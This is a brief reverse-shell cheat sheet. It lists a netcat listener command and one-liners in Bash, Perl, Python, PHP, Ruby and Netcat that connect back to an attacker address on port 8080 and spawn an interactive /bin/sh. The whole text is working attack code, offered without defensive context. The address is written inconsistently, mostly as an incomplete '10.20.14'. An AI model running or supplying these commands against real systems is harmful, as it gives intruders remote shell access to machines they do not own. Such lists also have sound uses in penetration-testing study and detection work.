The following examples assums the hacker IP is 10.20.14 and use port 8080 for the connection.
Therefore in all these cases you need to listen for port 8080 using the following command
nc -vv -l -p 8080


BASH
bash -i >& /dev/tcp/10.20.14.203/8080 0>&1

PERL
perl -e 'use Socket;$i="10.20.14";$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.20.14",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

PHP
php -r '$sock=fsockopen("10.20.14",8080);exec("/bin/sh -i <&3 >&3 2>&3");'

Ruby
ruby -rsocket -e'f=TCPSocket.open("10.20.14",8080).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Netcat
nc -e /bin/sh 10.20.14 8080